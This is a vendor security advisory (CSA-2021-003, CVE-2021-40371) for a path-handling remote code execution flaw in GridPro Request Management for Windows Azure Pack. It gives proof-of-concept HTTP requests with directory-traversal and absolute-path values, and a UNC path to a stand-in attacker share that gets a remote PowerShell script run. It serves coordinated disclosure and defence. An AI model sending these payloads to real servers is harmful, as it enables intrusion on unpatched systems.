[CSA-2021-003] Remote Code Execution in GridPro Request Management for Windows Azure Pack

From: Certitude - Advisories <advisories@certitude.consulting>
Date: Thu, 21 Oct 2021 14:29:22 +0000

```
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~                Certitude Securtiy Advisory - CSA-2021-003                 ~
~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~ ~
 PRODUCT          : GridPro Request Management for Windows Azure Pack
 VENDOR           : GridPro Software
 SEVERITY         : Critical
 AFFECTED VERSION : <=2.0.7905
 IDENTIFIERS      : CVE-2021-40371
 PATCH VERSION    : 2.0.7912
 FOUND BY         : Giulian Guran, Certitude Lab
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
```

Introduction

"Windows Azure Pack delivers cloud capabilities to \[...\] on-premise datacenter\[s\]. \[GridPro Request Management for Azure Pack\] add\[s\] business processes, custom services, and customer support by integrating Microsoft System Center Service Manager(TM) with Windows Azure Pack in a unified cloud platform."

Source: https://www.gridprosoftware.com/products/requestmanagement/

Vulnerability Overview

GridPro Request Management for Windows Azure Pack provides the ability to execute PowerShell scripts. Through specific JSON parameters in HTTP requests the plugin takes relative path locations as input to execute the desired PowerShell scripts on the server. Through multiple techniques however, it is possible to reach PowerShell scripts in other directories that may not be intended to be executed by the application and can therefore lead to remote code execution.

1. Through directory traversal attacks (e.g. usage of one or more `..\`) it is possible to reach parent directories outside the original web directory and execute arbitrary local scripts the web server account has access to.
2. Through fully qualified path names (e.g. `C:\Temp\script.ps1`) it is possible to execute arbitrary local scripts the web server account has access to, when the full path to the script is known.
3. By using UNC paths (e.g. `\\attacker-server\share$\script.ps1`) it is possible to execute arbitrary PowerShell scripts from attacker-controlled remote network shares.

Proof of Concept

Typical HTTP requests that execute PowerShell scripts on the server may look as follows. It is important to note that adding a second backslash is necessary to properly escape the backslash character:

```
    POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
    Host: [vulnerableHost]
    [...]
    Connection: close

    {"scriptName":"Directory1\\Directory2\\OriginalScript.ps1",[...]
```

By default, this relative path lies under the configured web server directory. The possible attack types to gain access to PowerShell scripts in other directories or shares are described in the following sections.

1. Directory Traversal

Using a directory traversal, it is possible to e.g. execute a local script `C:\Temp\script.ps1`:

```
    POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
    Host: [vulnerableHost]
    [...]
    Connection: close

    {"scriptName":"..\\..\\..\\..\\..\\..\\Temp\\script.ps1",[...]
```

An attacker can exploit this by writing or uploading arbitrary PowerShell scripts to the server and guessing their storage location to gain remote code execution or by abusing existing PowerShell scripts on the server.

2. Direct Access Using The Fully Qualified Path Name

Using the fully qualified path name, it is again possible to e.g. execute the local script `C:\Temp\script.ps1`:

```
    POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
    Host: [vulnerableHost]
    [...]
    Connection: close

    {"scriptName":"C:\\Temp\\script.ps1",[...]
```

An attacker can exploit this by writing or uploading arbitrary PowerShell scripts to the server and knowing their exact storage location to gain remote code execution or by abusing existing PowerShell scripts on the server.

3. Execution Of Attacker-Controlled Scripts From Network Shares

Using UNC paths, it is possible to e.g. execute arbitrary scripts from attacker-controlled network shares:

```
    POST /ServiceManagerTenant/GetVisibilityMap HTTP/2
    Host: [vulnerableHost]
    [...]
    Connection: close

    {"scriptName":"\\\\attacker-server\\share$\\script.ps1",[...]
```

An attacker can exploit this by preparing arbitrary PowerShell scripts on an attacker-controlled network share and get them executed on the target server to gain remote code execution.

Resolution

GridPro fixed this vulnerability in GridPro Request Management for Windows
Azure Pack version 2.0.7912 and later.

Timeline

Date	Text
2021-08-04	Sending vulnerability description and proof of concept to the vendor
2021-08-17	GridPro team confirms issue being reproduced, fixed and validated on their side
2021-08-18	GridPro team confirms a customer having installed the fix
2021-08-19	Coordination with vendor
2021-08-20	Coordination with vendor
2021-08-25	Coordination with vendor
2021-08-31	Coordination with vendor
2021-09-06	Vendor releases patch
2021-10-19	Coordination with vendor
2021-10-20	Public release of the advisory

By Date By Thread

Current thread:

[CSA-2021-003] Remote Code Execution in GridPro Request Management for Windows Azure Pack ***Certitude - Advisories (Oct 22)***